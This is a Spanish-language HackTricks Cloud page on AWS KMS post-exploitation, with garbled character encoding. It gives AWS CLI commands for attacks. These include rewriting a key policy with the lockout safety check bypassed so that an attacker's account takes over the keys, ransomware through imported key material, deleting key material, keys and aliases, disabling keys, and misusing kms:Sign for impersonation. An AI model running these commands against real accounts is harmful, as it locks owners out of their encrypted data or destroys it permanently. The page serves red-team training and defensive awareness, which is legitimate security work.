AWS - KMS Post Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
KMS
Para m谩s informaci贸n consulta:
Cifrar/Descifrar informaci贸n
fileb:// and file:// son esquemas URI usados en comandos de AWS CLI para especificar la ruta a archivos locales:
fileb://:Lee el archivo en modo binario, com煤nmente usado para archivos no textuales.file://:Lee el archivo en modo texto, t铆picamente usado para archivos de texto plano, scripts o JSON que no tengan requisitos de codificaci贸n especiales.
Tip
Ten en cuenta que si quieres descifrar datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
- Usando una clave sim茅trica
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Usando una clave asim茅trica:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Un atacante con acceso privilegiado a KMS podr铆a modificar la pol铆tica de KMS de las claves y otorgar acceso a su cuenta sobre ellas, eliminando el acceso concedido a la cuenta leg铆tima.
Entonces, los usuarios de la cuenta leg铆tima no podr谩n acceder a ninguna informaci贸n de cualquier servicio que haya sido cifrado con esas claves, creando un ransomware f谩cil pero efectivo sobre la cuenta.
Warning
Tenga en cuenta que AWS managed keys aren鈥檛 affected por este ataque, solo Customer managed keys.
Tambi茅n tenga en cuenta la necesidad de usar el par谩metro
--bypass-policy-lockout-safety-check(la ausencia de esta opci贸n en la web console hace que este ataque sea posible solo desde la CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Ten en cuenta que si cambias esa policy y solo das acceso a una cuenta externa, y luego desde esa cuenta externa intentas establecer una nueva policy para give the access back to original account, you won鈥檛 be able cause the Put Polocy action cannot be performed from a cross account.
.png)
Generic KMS Ransomware
Hay otra manera de llevar a cabo un KMS Ransomware a gran escala, que implicar铆a los siguientes pasos:
- Crear una nueva key with a key material importada por el atacante
- Re-encrypt older data de la v铆ctima cifrada con la versi贸n anterior con la nueva
- Delete the KMS key
- Ahora solo el atacante, que tiene el key material original, podr铆a ser capaz de descifrar los datos cifrados
Delete Keys via kms:DeleteImportedKeyMaterial
Con el permiso kms:DeleteImportedKeyMaterial, un actor puede eliminar el key material importado de CMKs con Origin=EXTERNAL (CMKs que han importado su key material), dej谩ndolas incapaces de descifrar datos. Esta acci贸n es destructiva e irreversible a menos que se reimporte material compatible, permitiendo a un atacante causar efectivamente una p茅rdida de datos tipo ransomware al dejar la informaci贸n cifrada permanentemente inaccesible.
aws kms delete-imported-key-material --key-id <Key_ID>
Destruir claves
Al destruir claves, es posible provocar un DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Tenga en cuenta que AWS ahora impide que las acciones anteriores se realicen desde un cross account:
Cambiar o eliminar Alias
Este ataque elimina o redirige aliases de AWS KMS, rompiendo la resoluci贸n de claves y provocando fallos inmediatos en cualquier servicio que dependa de esos aliases, resultando en un denial-of-service. Con permisos como kms:DeleteAlias o kms:UpdateAlias, un atacante puede eliminar o redirigir aliases y alterar operaciones criptogr谩ficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del key ID puede fallar hasta que el alias sea restaurado o reasignado correctamente.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancelar eliminaci贸n de clave
Con permisos como kms:CancelKeyDeletion y kms:EnableKey, un actor puede cancelar la eliminaci贸n programada de una clave maestra de cliente (customer master key) de AWS KMS y luego volver a habilitarla. Al hacerlo se recupera la clave (inicialmente en estado deshabilitado) y se restaura su capacidad para descifrar datos que anteriormente estaban protegidos, permitiendo la exfiltraci贸n.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Deshabilitar clave
Con el permiso kms:DisableKey, un actor puede deshabilitar una customer master key de AWS KMS, impidiendo que se use para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o una denial-of-service hasta que la clave sea reactivada.
aws kms disable-key \
--key-id <key_id>
Derivar secreto compartido
Con el permiso kms:DeriveSharedSecret, un actor puede usar una clave privada almacenada en KMS m谩s una clave p煤blica suministrada por el usuario para calcular un secreto compartido ECDH.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Con el permiso kms:Sign, un actor puede usar una CMK almacenada en KMS para firmar criptogr谩ficamente datos sin exponer la clave privada, produciendo firmas v谩lidas que pueden permitir la suplantaci贸n de identidad o autorizar acciones maliciosas.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS con Custom Key Stores
Con permisos como kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore o kms:UpdateCustomKeyStore, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso interrumpe las operaciones de encryption, decryption y signing para cualquier servicio que dependa de esas claves y puede causar un denial-of-service inmediato. Por lo tanto, restringir y monitorear esos permisos es cr铆tico.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

